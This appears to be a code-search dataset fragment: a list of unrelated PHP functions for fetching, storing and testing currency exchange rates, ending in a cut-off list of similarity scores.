"function getCurrencyRates() {\n\t// If you change these, make sure to also update any JS validation scripts\n\t// For now I'm not rounding numbers under 1 because I don't think that's a big issue and could cause issues with the max check.\n\t$currencyRates = array(\n\t\t'AED' => '4',\n\t\t'ARS' => '4',\n\t\t'AUD' => '1',\n\t\t'BBD' => '2',\n\t\t'BDT' => '76',\n\t\t'BGN' => '1',\n\t\t'BHD' => '0.4',\n\t\t'BMD' => '1',\n\t\t'BND' => '1',\n\t\t'BOB' => '7',\n\t\t'BRL' => '2',\n\t\t'BSD' => '1',\n\t\t'BZD' => '2',\n\t\t'CAD' => '1',\n\t\t'CHF' => '0.9',\n\t\t'CLP' => '494',\n\t\t'CNY' => '6',\n\t\t'COP' => '1910',\n\t\t'CRC' => '512',\n\t\t'CZK' => '18',\n\t\t'DKK' => '5',\n\t\t'DOP' => '38',\n\t\t'DZD' => '73',\n\t\t'EEK' => '11',\n\t\t'EGP' => '6',\n\t\t'EUR' => '0.7',\n\t\t'GBP' => '0.6',\n\t\t'GTQ' => '8',\n\t\t'HKD' => '8',\n\t\t'HNL' => '19',\n\t\t'HRK' => '5',\n\t\t'HUF' => '219',\n\t\t'IDR' => '8960',\n\t\t'ILS' => '4',\n\t\t'INR' => '49',\n\t\t'JMD' => '85',\n\t\t'JOD' => '0.7',\n\t\t'JPY' => '78',\n\t\t'KES' => '97',\n\t\t'KRW' => '1127',\n\t\t'KYD' => '0.8',\n\t\t'KZT' => '147',\n\t\t'LBP' => '1500',\n\t\t'LKR' => '110',\n\t\t'LTL' => '2',\n\t\t'LVL' => '0.5',\n\t\t'MAD' => '8',\n\t\t'MKD' => '45',\n\t\t'MUR' => '29',\n\t\t'MVR' => '15',\n\t\t'MXN' => '13',\n\t\t'MYR' => '3',\n\t\t'NOK' => '5',\n\t\t'NZD' => '1',\n\t\t'OMR' => '0.3',\n\t\t'PAB' => '1',\n\t\t'PEN' => '3',\n\t\t'PHP' => '43',\n\t\t'PKR' => '86',\n\t\t'PLN' => '3',\n\t\t'PYG' => '4190',\n\t\t'QAR' => '4',\n\t\t'RON' => '3',\n\t\t'RUB' => '30',\n\t\t'SAR' => '4',\n\t\t'SEK' => '6',\n\t\t'SGD' => '1',\n\t\t'SVC' => '9',\n\t\t'THB' => '30',\n\t\t'TJS' => '5',\n\t\t'TND' => '1',\n\t\t'TRY' => '2',\n\t\t'TTD' => '6',\n\t\t'TWD' => '30',\n\t\t'UAH' => '8',\n\t\t'USD' => '1',\n\t\t'UYU' => '19',\n\t\t'UZS' => '1760',\n\t\t'VND' => '21000',\n\t\t'XAF' => '470',\n\t\t'XCD' => '3',\n\t\t'XOF' => '476',\n\t\t'ZAR' => '8',\n\t);\n\t\n\treturn $currencyRates;\n}",
"public function currencies()\n {\n return $this->_call('public/getcurrencies', [], false);\n }",
"public function updateRates()\n {\n $client = new \\GuzzleHttp\\Client();\n\n foreach ($this->currencyRepository->all() as $currency) {\n if ($currency->code == config('app.currency')) {\n continue;\n }\n\n $result = $client->request('GET', $this->apiEndPoint . '?access_key='. $this->apiKey . '&base=' . config('app.currency') . '&symbols=' . $currency->code);\n\n $result = json_decode($result->getBody()->getContents(), true);\n\n if (\n isset($result['success'])\n && ! $result['success']\n ) {\n throw new \\Exception($result['error']['info'] ?? $result['error']['type'], 1);\n }\n\n if ($exchangeRate = $currency->exchange_rate) {\n $this->exchangeRateRepository->update([\n 'rate' => $result['rates'][$currency->code],\n ], $exchangeRate->id);\n } else {\n $this->exchangeRateRepository->create([\n 'rate' => $result['rates'][$currency->code],\n 'target_currency' => $currency->id,\n ]);\n }\n }\n }",
"public function getCurrencies(): array\n {\n $out = $this->request('getCurrencies');\n return $out['result'];\n }",
"public function getRates($date) {\n $url = 'https://api.fixer.io/' . $date;\n $json = file_get_contents($url);\n $info = json_decode($json);\n\n return $info->rates;\n }",
"public function getExchangeRateCollection(Context $context)\n {\n $base_currency_code = $this->getBaseCurrency($context)->iso_code;\n $currencies = $this->getCurrencies($context, true);\n $exchange_rates = array();\n foreach ($currencies as $currency) {\n // Skip base currencyCode.\n if (\n $currency['iso_code'] === $base_currency_code\n || $currency['deleted'] == 1\n ) {\n continue;\n }\n \n $exchange_rates[] = new NostoExchangeRate(\n $currency['iso_code'],\n $currency['iso_code'],\n $currency['conversion_rate']\n );\n }\n\n $rates = new NostoTaggingCollectionExchangeRates($exchange_rates);\n return $rates;\n }",
"public function getSupportedCurrencies()\n {\n return response()->json(Currency::all());\n }",
"public function getRates()\n {\n $this->uri = \"/?section=shipping&action=getRates\";\n \n return $this->send();\n }",
"public function getCurrencies()\n {\n return $this->_currencies;\n }",
"abstract protected function getSupportedCurrencies();",
"public function currencies(): CurrenciesResponse\n {\n $payload = Payload::list('currencies');\n\n $result = $this->transporter->get($payload->uri)->throw();\n\n return CurrenciesResponse::from(attributes: (array) $result->json('data'));\n }",
"public function getPriceHistory() { return array($this->getPrice()); }",
"public function testRetrieveExchangeRates()\n {\n\n // Set callback and perform API call\n $result = null;\n self::$controller->setHttpCallBack($this->httpResponse);\n try {\n $result = self::$controller->getExchangeRates();\n } catch (APIException $e) {\n }\n\n // Test response code\n $this->assertEquals(\n 200,\n $this->httpResponse->getResponse()->getStatusCode(),\n \"Status is not 200\"\n );\n\n // Test whether the captured response is as we expected\n $this->assertNotNull($result, \"Result does not exist\");\n\n $this->assertTrue(\n TestHelper::isJsonObjectProperSubsetOf(\n \"{\\n\t\\\"disclaimer\\\": \\\"Exchange rates are provided here for reference. They are updated at least once\" .\n \" a day and may have changed by time of order.\\\",\\n\t\\\"exchangeRates\\\": [{\\n\t\t\\\"lastModifiedDate\\\": \\\"\" .\n \"2018-04-19T13:00:14.291\\\",\\n\t\t\\\"rewardCurrency\\\": \\\"EUR\\\",\\n\t\t\\\"baseCurrency\\\": \\\"NZD\\\",\\n\t\t\\\"baseFx\" .\n \"\\\": 0.59120\\n\t}, {\\n\t\t\\\"lastModifiedDate\\\": \\\"2018-04-19T13:00:14.291\\\",\\n\t\t\\\"rewardCurrency\\\": \\\"US\" .\n \"D\\\",\\n\t\t\\\"baseCurrency\\\": \\\"NZD\\\",\\n\t\t\\\"baseFx\\\": 0.73130\\n\t}, {\\n\t\t\\\"lastModifiedDate\\\": \\\"2018-04-\" .\n \"19T13:00:14.230\\\",\\n\t\t\\\"rewardCurrency\\\": \\\"INR\\\",\\n\t\t\\\"baseCurrency\\\": \\\"AUD\\\",\\n\t\t\\\"baseFx\\\": 51.2\" .\n \"9066\\n\t}]\\n}\",\n $this->httpResponse->getResponse()->getRawBody(),\n false,\n true,\n false\n ),\n \"Response body does not match in keys\"\n );\n }",
"public function getBudgetExchangeRate(Classes\\GetBudgetExchangeRateRequest $arg) {\n\t\treturn $this->makeSoapCall(\"getBudgetExchangeRate\", $arg);\n\t}",
"public function getListCurrency()\n\t{\n\t\t$params = [\n\t\t\t'verify' => false,\n\t\t\t'query' => [\n\t\t\t\t'output' => Config::get( 'response.format' )\n\t\t\t]\n\t\t];\n\n\t\t$baseUrl = sprintf( Config::get( 'endpoints.base_url' ), Config::get( 'settings.api' ) ) . Config::get( 'endpoints.general_list_currency' );\n\n\t\ttry {\n\t\t\t$response = parent::send( 'GET', $baseUrl, $params );\n\t\t} catch (TiketException $e) {\n\t\t\tthrow parent::convertException( $e );\n\t\t}\n\n\t\treturn $response;\n\t}",
"public function getCurrencyRates($currency, $toCurrencies = null)\n {\n if ($currency instanceof Mage_Directory_Model_Currency) {\n $currency = $currency->getCode();\n }\n $data = $this->_getResource()->getCurrencyRates($currency, $toCurrencies);\n return $data;\n }",
"public function getExchangeRate(Request $request)\n {\n try {\n $validator = Validator::make($request->all(), [\n 'base' => 'required',\n 'target' => 'required',\n 'date' => 'required|date'\n ]);\n\n if ($validator->fails()) {\n return response()->json([\n 'status' => false,\n 'message' => $validator->errors()\n ], 200);\n }\n\n if ($request->base == $request->target) {\n return response()->json([\n 'status' => true,\n 'rate' => 1\n ], 200);\n } else {\n $model = ForeignCurrencyTransactionSettings::query()\n ->whereIn('business_account_id', getDependentUserIds())\n ->where('base_currency', '=', $request->base)\n ->where('foreign_exchange_currency', '=', $request->target)\n ->first();\n\n if ($model) {\n $exchangeRates = ExchangeRates::query()->where('foreign_currency_id', '=', $model->id)\n ->where('date', '=', Carbon::parse($request->date)->format('Y-m-d'))\n ->first();\n if ($exchangeRates) {\n return response()->json([\n 'status' => true,\n 'rate' => $exchangeRates->rate\n ], 200);\n }\n } else {\n $model = ForeignCurrencyTransactionSettings::query()\n ->whereIn('business_account_id', getDependentUserIds())\n ->where('base_currency', '=', $request->target)\n ->where('foreign_exchange_currency', '=', $request->base)\n ->first();\n\n $exchangeRates = ExchangeRates::query()->where('foreign_currency_id', '=', $model->id)\n ->where('date', '=', Carbon::parse($request->date)->format('Y-m-d'))\n ->first();\n if ($exchangeRates) {\n return response()->json([\n 'status' => true,\n 'rate' => round(1/(float)$exchangeRates->rate, 2) //dividing by 1 as we have now changed the exchange rate\n ], 200);\n }\n }\n return response()->json([\n 'status' => true,\n 'rate' => 1\n ], 200);\n\n }\n } catch (\\Exception $e) {\n return response()->json([\n 'status' => false,\n 'message' => $e->getMessage()\n ], 200);\n }\n }",
"function &getAll()\r\n {\r\n $db =& eZDB::globalDatabase();\r\n \r\n $return_array = array();\r\n $currency_array = array();\r\n \r\n $db->array_query( $currency_array, \"SELECT ID FROM eZTrade_AlternativeCurrency ORDER BY Created\" );\r\n \r\n for ( $i=0; $i < count($currency_array); $i++ )\r\n {\r\n $return_array[$i] = new eZProductCurrency( $currency_array[$i][$db->fieldName( \"ID\" )], 0 );\r\n }\r\n \r\n return $return_array;\r\n }",
"public function getPrices(Collection $currencies)\n {\n $currencies = $currencies\n ->pluck('id', 'currency_code')\n ->map(function($id){\n return [\n 'id' => $id,\n 'currency_id' => null\n ];\n })->toArray();\n\n // add currencyIds\n foreach($this->currencyIds() as $currencyCode => $currencyID){\n if($currencies[$currencyCode]) {\n $currencies[$currencyCode]['currency_id'] = $currencyID;\n }\n }\n\n\n // exchangeRate\n $exchangeRate = $this->getExchangeRate();\n\n\n // make api call\n $version = '';\n $url = $this->apiBase . $version . '/public/ticker/ALL';\n $res = null;\n\n try{\n $res = Http::request(Http::GET, $url);\n }\n catch (\\Exception $e){\n // Error handling\n echo($e->getMessage());\n exit();\n }\n\n\n // data from API\n $data = [];\n $dataOriginal = json_decode($res->content, true);\n $data = $dataOriginal['data'];\n\n\n // Finalize data. [id, currency_id, price]\n $currencies = array_map(function($currency) use($data, $exchangeRate){\n $dataAvailable = true;\n if(is_array($currency['currency_id'])){\n foreach($currency['currency_id'] as $i){\n if(!isset($data[$i])){\n $dataAvailable = false;\n }\n }\n } else {\n $dataAvailable = isset($data[$currency['currency_id']]);\n }\n\n\n if($dataAvailable){\n if(is_array($currency['currency_id'])){ // 2 step\n $level1 = doubleval($data[$currency['currency_id'][0]]['closing_price']) / $exchangeRate;\n $level2 = doubleval($data[$currency['currency_id'][1]]['closing_price']) / $exchangeRate;\n $currency['price'] = $level1 * $level2;\n }\n else { // 1 step: string\n $currency['price'] = doubleval($data[$currency['currency_id']]['closing_price']) / $exchangeRate;\n }\n\n }\n else {\n $currency['price'] = null;\n }\n\n return $currency;\n\n }, $currencies);\n\n\n return $currencies;\n\n\n }",
"public function testGetRates()\n {\n $response = [\n 'disclaimer' => 'https://openexchangerates.org/terms/',\n 'license' => 'https://openexchangerates.org/license/',\n 'timestamp' => 1449877801,\n 'base' => 'USD',\n 'rates' => [\n 'EUR' => 0.935485,\n 'AFN' => 66.809999,\n 'ALL' => 125.716501,\n 'AMD' => 484.902502,\n 'ANG' => 1.788575,\n 'AOA' => 135.295998,\n 'ARS' => 9.750101,\n 'AUD' => 1.390866\n ]\n ];\n $response_json = json_encode($response);\n $mock = new MockHandler([\n new Response(200, [], $response_json)\n ]);\n $handler = HandlerStack::create($mock);\n $client = new Client(['handler' => $handler]);\n\n $driver = new OpenExchangeRatesDriver(\n $client,\n 'http://openexchangerates.org/api/latest.json'\n );\n $data = $driver->getRates();\n $this->assertEquals($data, $response['rates']);\n }",
"public function getCurrencies() {\n\t\t\t$currencies = CurrencyDenomination::all();\n\t\t\treturn response($currencies);\n\t\t}",
"public function getRates($currencies, \\DateTime $date = null)\n {\n if ($date === null) {\n $date = new \\DateTime('now');\n }\n\n $client = new \\SoapClient(\"http://www.cbr.ru/DailyInfoWebServ/DailyInfo.asmx?WSDL\");\n $curs = $client->GetCursOnDate(array(\"On_date\" => $date->format('Y-m-d')));\n $ratesXml = new \\SimpleXMLElement($curs->GetCursOnDateResult->any);\n\n $result = array();\n foreach ($currencies as $currency) {\n $rateCbr = $ratesXml->xpath('ValuteData/ValuteCursOnDate/VchCode[.=\"'.$currency->getCode().'\"]/parent::*');\n if (empty($rateCbr)) {\n continue;\n }\n\n $rate = $this->currencyRateManager->getNewInstance(\n $this->currencyManager->getCurrency($currency->getCode()),\n $this,\n $date,\n (float)$rateCbr[0]->Vcurs,\n (int)$rateCbr[0]->Vnom\n );\n\n $result[$currency->getCode()] = $rate;\n }\n return $result;\n }",
"public function getCurrencies()\n {\n return $this->hasMany(Currency::className(), ['ap_gl_acc_id' => 'account_id']);\n }",
"public function testGetExchangeRates()\n {\n $result = $this->currencyAPIService->getExchangeRates();\n $this->assertIsArray($result);\n $this->assertArrayHasKey('content', $result);\n $this->assertTrue($result['status']);\n $this->assertJson($result['content']);\n $content = json_decode($result['content'], true);\n $this->assertArrayHasKey('rates', $content);\n }",
"public function returnCurrencies(): array\n {\n $currencies = [];\n foreach ($this->request('returnCurrencies') as $key => $response) {\n /* @var $currency Currency */\n $currencies[$key] = $this->factory(Currency::class, $response);\n }\n\n return $currencies;\n }",
"public function exchangeRate() {\n try{\n $client = new GuzzleHttp\\Client(['base_uri' => 'https://api.exchangeratesapi.io/']);\n // Latest endpoint \n $response = $client->request('GET', 'latest');\n $statusCode = $response->getStatusCode();\n if($statusCode == 200) {\n // Get body of the response and stringify\n $body = (string)$response->getBody();\n // Parse json to ApiResponse Object\n $apiResponse = new ApiResponse($body);\n // Print associative response to console\n print_r($apiResponse);\n }\n }catch(Exception $e){\n echo $e;\n }\n\n }",
"public function fetch()\n {\n $response = $this->responseToArray(\n $this->request($this->baseUrl.\"/latest.json?\".http_build_query($this->queryParameters())\n ));\n\n if (isset($response['error'])) {\n $this->handleErrors($response);\n }\n\n if (isset($response['rates'])) {\n $updatedAt = (new DateTime)->setTimestamp($response['timestamp']);\n\n return collect($response['rates'])->mapWithKeys(function ($rate, $currencyCode) use ($updatedAt) {\n return $this->formatRate($currencyCode, $rate, $updatedAt);\n })->except($this->defaultCurrency)->all();\n }\n\n throw ConnectionFailedException::source($this->name());\n }",
"public function obtainCurrency()\r\n {\r\n return $this->performRequest('GET', '/currency');\r\n }",
"public function fetch()\n {\n $response = $this->responseToArray(\n $this->request($this->baseUrl.\"/latest?\".http_build_query($this->queryParameters())\n ));\n\n if (isset($response['error']['code'])) {\n $this->handleErrors($response);\n }\n\n if (isset($response['success']) && $response['success']) {\n return collect($response['rates'])->mapWithKeys(function ($rate, $currencyCode) {\n return $this->formatRate($currencyCode, $rate);\n })->except($this->defaultCurrency)->all();\n }\n\n throw ConnectionFailedException::source($this->name());\n }",
"public function historicalTrades($symbol, array $options = [])\n {\n return $this->client->limitRequest('GET', '/api/v3/historicalTrades', array_merge([\n 'symbol' => $symbol,\n ], $options));\n }",
"protected static function requestUpdatedRate( $from_iso_code, $to_iso_code ){\n \n $from_iso_code = \\Altumo\\Validation\\Strings::assertNonEmptyString(\n $from_iso_code,\n '$from_iso_code expects non-empty string'\n ); \n \n $to_iso_code = \\Altumo\\Validation\\Strings::assertNonEmptyString(\n $to_iso_code,\n '$to_iso_code expects non-empty string'\n );\n \n // Get exchange rate from yahoo finance.\n $query = \"{$from_iso_code}{$to_iso_code}=X\";\n\n $url = 'http://download.finance.yahoo.com/d/quotes.csv?s=' . $query . '&f=l1&e=.cs';\n\n $http_request = new \\Altumo\\Http\\OutgoingHttpRequest( $url );\n $http_request->setHeaders(\n array( \n 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.60 Safari/537.11', \n 'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8',\n 'X-Requested-With' => 'XMLHttpRequest'\n )\n );\n\n $response = \\Altumo\\Validation\\Numerics::assertPositiveDouble(\n trim($http_request->sendAndGetResponseMessage()->getRawMessageBody()),\n 'Unable to update currency exchange rate. Invalid response received.'\n ); \n \n \n return (float)$response;\n \n // Google implementation (unsupported by google, likely unreliable).\n /* $query = \"1{$from_iso_code}=?{$to_iso_code}\";\n\n $url = 'http://www.google.com/ig/calculator?hl=en&q=' . urlencode($query);\n\n $http_request = new \\Altumo\\Http\\OutgoingHttpRequest( $url );\n $http_request->setHeaders(\n array( \n 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.60 Safari/537.11', \n 'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8',\n 'X-Requested-With' => 'XMLHttpRequest'\n )\n );\n $response = $http_request->sendAndGetResponseMessage()->getRawMessageBody();\n\n if( preg_match('/^.*?rhs\\\\:.*?([-+]?\\\\b[0-9]+(\\\\.[0-9]+)?\\\\b)/m', $response, $matches) ){\n $rate = $matches[1];\n } else {\n throw new \\Exception( 'Error retrieving an updated currency conversion rate. (unexpected format)' );\n }*/\n\n }",
"private function _update_currency_conversion_rate(){\n\t\t\t$query = \"SELECT `serial_num`, `\".$this->table_fields['currency_iso_code'].\"` as 'currency_iso_code' FROM `\" . $this->class_settings['database_name'] . \"`.`\".$this->table_name.\"` where `record_status`='1' AND `modification_date` < \".(date(\"U\") - (3600*24));\n\t\t\t$query_settings = array(\n\t\t\t\t'database' => $this->class_settings['database_name'] ,\n\t\t\t\t'connect' => $this->class_settings['database_connection'] ,\n\t\t\t\t'query' => $query,\n\t\t\t\t'query_type' => 'SELECT',\n\t\t\t\t'set_memcache' => 1,\n\t\t\t\t'tables' => array( $this->table_name ),\n\t\t\t);\n \n //get exchange rate\n $all_country_list = execute_sql_query($query_settings);\n\t\t\t$return = array();\n \n\t\t\tif( is_array( $all_country_list ) && ! empty( $all_country_list ) ){\n\t\t\t\t$query_settings['query_type'] = 'UPDATE';\n \n $first = true;\n foreach( $all_country_list as $val ){\n\t\t\t\t\tif( $val['currency_iso_code'] ){\n $json = file_get_contents('http://rate-exchange.appspot.com/currency?from=USD&to='.strtoupper($val['currency_iso_code']) );\n if($json)$cur = json_decode($json, true);\n if( isset( $cur['rate'] ) && $cur['rate'] ){\n $return[] = $cur;\n \n $query_settings['query'] = \"UPDATE `\" . $this->class_settings['database_name'] . \"`.`\".$this->table_name.\"` SET `\".$this->table_fields['conversion_rate'].\"`= '\".$cur['rate'].\"' WHERE `serial_num`='\".$val['serial_num'].\"' \";\n \n execute_sql_query($query_settings);\n \n if( $first ){\n $query_settings['tables'] = array();\n $query_settings['set_memcache'] = 0;\n $first = false;\n }\n }\n }\n\t\t\t\t}\n \n $this->class_settings[ 'do_not_check_cache' ] = 1;\n $this->_get_country_list();\n }\n \n return $return;\n }",
"public function withdrawHistory($currency = null) {\n $parameters = [];\n if(!is_null($currency)) $parameters['currency'] = $currency;\n\n return $this->_call('account/getwithdrawalhistory', $parameters, true);\n }",
"function GetBaseCurrency()\n\t{\n\t\t$result = $this->sendRequest(\"GetBaseCurrency\", array());\t\n\t\treturn $this->getResultFromResponse($result);\n\t}",
"public function get_historical_prices($start_date,$end_date,$period) {\n\t\tlist($month_from, $day_from, $year_from) = explode('-',$start_date);\n\t\tlist($month_to, $day_to, $year_to) = explode('-',$end_date);\n\t\t\n\t\t$month_from -= 1;\n\t\t$month_to -= 1;\n\t\t\n\t\t$url = \"http://ichart.yahoo.com/table.csv?s={$this->ticker}&a={$month_from}&b={$day_from}&c={$year_from}&d={$month_to}&e={$day_to}&f={$year_to}&g={$period}&ignore=.csv\";\n\n\t\tif ($file = fopen($url,\"r\")){\n\t\t\t$row = 0;\n\t\t\t$hist_data = array();\n\t\t\twhile ($data = fgetcsv($file,200,\",\")) {\n\t\t\t\tif ($row != 0) {\n\t\t\t\t\t$daily = array();\n\t\t\t\t\t$daily[\"Date\"] = $data[0];\n\t\t\t\t\t$daily[\"Open\"] = $data[1];\n\t\t\t\t\t$daily[\"High\"] = $data[2];\n\t\t\t\t\t$daily[\"Low\"] = $data[3];\n\t\t\t\t\t$daily[\"Close\"] = $data[4];\n\t\t\t\t\t$daily[\"Volume\"] = $data[5];\n\t\t\t\t\t$daily[\"Adj Close\"] = $data[6];\n\t\t\t\t\t\n\t\t\t\t\tarray_push($hist_data, $daily);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\tfclose($file);\n\t\t\t}\n\t\telse {\n\t\t\t//echo \"Error opening the file for $this->ticker.<br />\";\n\t\t\t$hist_data = '';\n\t\t\t}\n\n\t\treturn $hist_data;\t\n\t\t}",
"public function getExchangeRate($currency)\n {\n \tswitch ($currency) {\n \t\tcase 'EUR':\n \t\t\treturn 1.0;\n \t\tcase 'GBP':\n \t\t\treturn 0.90233;\n \t\tcase 'USD':\n \t\t\treturn 1.1079;\n \t\tdefault:\n \t\t\treturn 0.0;\n \t}\n }",
"public static function getAllCurrencies(){\r\n\t\t$db = JFactory::getDBO();\r\n\t\t$query = ' SELECT\r\n\t\t\t\t\th.*\r\n\t\t\t\t\tFROM #__hotelreservation_currencies h\r\n\t\t\t\t\tORDER BY description asc';\r\n\t\t$db->setQuery( $query );\r\n\t\treturn $db->loadObjectList();\r\n\t}",
"public function testScheduledUpdateCurrencyRates()\n {\n $url = str_replace('{{CURRENCY_FROM}}', 'USD',\n \\Magento\\Directory\\Model\\Currency\\Import\\Webservicex::CURRENCY_CONVERTER_URL);\n $url = str_replace('{{CURRENCY_TO}}', 'GBP', $url);\n try {\n file_get_contents($url);\n } catch (\\PHPUnit_Framework_Error_Warning $e) {\n $this->markTestSkipped('http://www.webservicex.net is unavailable ');\n }\n\n $allowedCurrencies = 'USD,GBP,EUR';\n $this->configResource->saveConfig(\n $this->allowedCurrenciesPath,\n $allowedCurrencies,\n ScopeInterface::SCOPE_STORE,\n 0\n );\n $this->observer->scheduledUpdateCurrencyRates(null);\n /** @var Currency $currencyResource */\n $currencyResource = $this->objectManager\n ->create('Magento\\Directory\\Model\\CurrencyFactory')\n ->create()\n ->getResource();\n $rates = $currencyResource->getCurrencyRates($this->baseCurrency, explode(',', $allowedCurrencies));\n $this->assertNotEmpty($rates);\n }",
"public static function getCurrencies(): array\n {\n return Config::get('bazar.currencies.available', []);\n }",
"public function getCurrencyRate(Classes\\GetCurrencyRateRequest $arg) {\n\t\treturn $this->makeSoapCall(\"getCurrencyRate\", $arg);\n\t}",
"public function populate()\n {\n $currenciesCodes = [];\n $currencies = $this\n ->currencyRepository\n ->findAll();\n\n /**\n * Create an array of all active currency codes.\n *\n * @var CurrencyInterface $currency\n */\n foreach ($currencies as $currency) {\n if ($currency->getIso() != $this->defaultCurrency) {\n $currenciesCodes[] = $currency->getIso();\n }\n }\n\n /**\n * Get rates for all of the enabled and active currencies.\n */\n $rates = $this\n ->currencyExchangeRatesAdapter\n ->getExchangeRates(\n $this->defaultCurrency,\n $currenciesCodes\n );\n\n /**\n * @var CurrencyInterface $sourceCurrency\n */\n $sourceCurrency = $this\n ->currencyRepository\n ->findOneBy([\n 'iso' => $this->defaultCurrency,\n ]);\n\n /**\n * [\n * \"EUR\" => \"1,378278\",\n * \"YEN\" => \"0,784937\",\n * ].\n */\n foreach ($rates as $code => $rate) {\n\n /**\n * @var CurrencyInterface $targetCurrency\n */\n $targetCurrency = $this\n ->currencyRepository\n ->findOneBy([\n 'iso' => $code,\n ]);\n\n if (!($targetCurrency instanceof CurrencyInterface)) {\n continue;\n }\n\n /**\n * check if this is a new exchange rate, or if we have to\n * create a new one.\n */\n $exchangeRate = $this\n ->currencyExchangeRateObjectDirector\n ->findOneBy([\n 'sourceCurrency' => $sourceCurrency,\n 'targetCurrency' => $targetCurrency,\n ]);\n\n if (!($exchangeRate instanceof CurrencyExchangeRateInterface)) {\n $exchangeRate = $this\n ->currencyExchangeRateObjectDirector\n ->create();\n }\n\n $exchangeRate\n ->setExchangeRate($rate)\n ->setSourceCurrency($sourceCurrency)\n ->setTargetCurrency($targetCurrency);\n\n $this\n ->currencyExchangeRateObjectDirector\n ->save($exchangeRate);\n }\n\n return $this;\n }",
"public function getApi(){\n\n $url=\"https://api.exchangeratesapi.io/latest\";\n\n $curl = curl_init($url);\n if ( $curl ) {\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n $response = curl_exec($curl);\n curl_close($curl);\n unset($curl);\n $decode=json_decode($response);\n foreach ($decode->rates as $name => $rate){\n Currency::updateOrCreate([\n \"name\"=>$name,\n ],\n [\n \"name\"=>$name,\n \"exchange\"=>$rate,\n ]);\n }\n }\n\n }",
"function getCurrency()\r\n\t{\r\n\t\treturn $this->call_API('getCurrency');\r\n\t}",
"function wcumcs_cron_currency_exchange_rate_update(){\r\n\t\r\n\tglobal $woocommerce_ultimate_multi_currency_suite;\r\n\t$action_data = array();\r\n\t$action_data['name'] = 'update_exchange_rates';\r\n\t$action_data['currency_data'] = array();\t\r\n\t\r\n\t$available_currencies_json = get_option('wcumcs_available_currencies');\r\n\t$available_currencies = json_decode($available_currencies_json, true);\r\n\t$requested_currencies_data = array();\r\n\t\r\n\tforeach ($available_currencies as $code => $currency_data){\r\n\t\t$requested_currencies_data[$code] = array();\r\n\t\t$exchange_api = get_option('wcumcs_exchange_api_' . $code);\r\n\t\t$requested_currencies_data[$code]['api'] = $exchange_api;\r\n\t}\r\n\t\r\n\t$action_data['currency_data'] = $requested_currencies_data;\r\n\t\r\n\t$woocommerce_ultimate_multi_currency_suite->callbacks->execute_action($action_data, true); // execute rates update\r\n\t\r\n\treturn true;\r\n\t\r\n}",
"public static function getCurrencies()\n {\n $currencies = [];\n\n foreach (static::$currencies as $currency)\n {\n $currencies[$currency] = $currency;\n }\n\n return $currencies;\n }",
"public function getSourceCurrency();",
"public static function getCurrencies(): array\n {\n return [\n 'USD', 'EUR', 'GBP', 'AED', 'AFN', 'ALL', 'AMD', 'ANG', 'AOA', \n 'ARS', 'AUD', 'AWG', 'AZN', 'BAM', 'BBD', 'BDT', 'BGN', 'BIF', \n 'BMD', 'BND', 'BOB', 'BRL', 'BSD', 'BWP', 'BZD', 'CAD', 'CDF', \n 'CHF', 'CLP', 'CNY', 'COP', 'CRC', 'CVE', 'CZK', 'DJF', 'DKK', \n 'DOP', 'DZD', 'EGP', 'ETB', 'FJD', 'FKP', 'GEL', 'GIP', 'GMD', \n 'GNF', 'GTQ', 'GYD', 'HKD', 'HNL', 'HRK', 'HTG', 'HUF', 'IDR', \n 'ILS', 'INR', 'ISK', 'JMD', 'JPY', 'KES', 'KGS', 'KHR', 'KMF', \n 'KRW', 'KYD', 'KZT', 'LAK', 'LBP', 'LKR', 'LRD', 'LSL', 'MAD', \n 'MDL', 'MGA', 'MKD', 'MMK', 'MNT', 'MOP', 'MRO', 'MUR', 'MVR', \n 'MWK', 'MXN', 'MYR', 'MZN', 'NAD', 'NGN', 'NIO', 'NOK', 'NPR', \n 'NZD', 'PAB', 'PEN', 'PGK', 'PHP', 'PKR', 'PLN', 'PYG', 'QAR', \n 'RON', 'RSD', 'RUB', 'RWF', 'SAR', 'SBD', 'SCR', 'SEK', 'SGD', \n 'SHP', 'SLL', 'SOS', 'SRD', 'STD', 'SZL', 'THB', 'TJS', 'TOP', \n 'TRY', 'TTD', 'TWD', 'TZS', 'UAH', 'UGX', 'UYU', 'UZS', 'VND', \n 'VUV', 'WST', 'XAF', 'XCD', 'XOF', 'XPF', 'YER', 'ZAR', 'ZMW'\n ];\n }",
"public function getCurrency();",
"public function getCurrency();",
"function GetDB_CurrencyList($order_asc = false) {\n $query = \"SELECT * FROM conversion_rates \".(($order_asc) ? \"ORDER BY currency ASC\" : \"\").\";\";\n $result = $GLOBALS['conn']->query($query);\n $rows = [];\n while($row = mysqli_fetch_array($result)) {\n $rows[] = $row;\n }\n return $rows;\n }",
"public function getAllCurrenciesToParse() {\n $currencies = $this->database->queryToSelect(\n \"SELECT cryptocurrency_info.id AS info_id, cryptocurrency_info.value_to_usd, cryptocurrency_info.value_to_btc, cryptocurrency_info.currency_symbol, all_cryptocurrency.id AS currency_id, all_cryptocurrency.name AS currency_name, all_cryptocurrency.code AS currency_code, burse.id AS burse_id, burse.name AS burse_name, burse.code AS burse_code\n FROM cryptocurrency_info\n LEFT JOIN all_cryptocurrency ON cryptocurrency_info.currency_id = all_cryptocurrency.id\n LEFT JOIN burse ON cryptocurrency_info.burse_id = burse.id\"\n );\n $currencies_to_parse = [];\n foreach ($currencies as $currency) {\n $currencies_to_parse[$currency['burse_code']][$currency['currency_symbol']] = $currency;\n }\n return $currencies_to_parse;\n }",
"public function price(array $currencies): array\n {\n return $this->get('data/price', [\n 'fsym' => 'ARK',\n 'tsyms' => implode(',', $currencies),\n ]);\n }",
"public function getHistoricalDailyExchangeVolume($options = [])\n {\n return $this->send(\n $this->endpoint.\"/exchange/histoday\",\n 'GET',\n ['query' => array_merge($this->getEndpointConfiguration(), $options)]\n );\n }"
]
| [
"0.7463617",
"0.7343401",
"0.7238794",
"0.7098981",
"0.7060989",
"0.70227426",
"0.69773215",
"0.6887568",
"0.68526244",
"0.6800355",
"0.67561436",
"0.67543536",
"0.67163485",
"0.6715641",
"0.67143226",
"0.66940045",
